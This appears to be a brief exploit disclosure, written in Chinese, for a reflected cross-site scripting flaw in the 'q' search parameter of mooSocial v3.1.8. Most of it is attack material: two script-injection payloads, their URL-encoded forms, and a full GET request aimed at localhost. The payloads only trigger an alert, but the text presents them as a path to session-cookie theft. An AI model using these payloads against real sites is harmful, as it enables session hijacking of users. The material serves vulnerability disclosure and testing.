mooSocial v3.1.8 的搜索功能中的 q 参数存在一个反射型跨站脚本(XSS)漏洞,允许攻击者通过特制 URL 窃取用户的会话 Cookie 并冒充其账户。
漏洞参数:q
Payload : test"><script>alert(1)</script>test
FINAL Payload (URL encoded) : test%22%3e%3cscript%3ealert(1)%3c%2fscript%3etest
对 [http://localhost/moosocial/search/index/q=] 发起 GET 请求:
GET /moosocial/search/index/?q=test%22%3e%3cscript%3ealert(1)%3c%2fscript%3etest HTTP/1.1
Host: localhost
sec-ch-ua: "Chromium";v="117", "Not;A=Brand";v="8"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/moosocial/user_info/index/messages
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close

Payload : test</title><script>alert(1)</script>test
FINAL Payload (URL encoded) : test%3c%2ftitle%3e%3cscript%3ealert(1)%3c%2fscript%3etest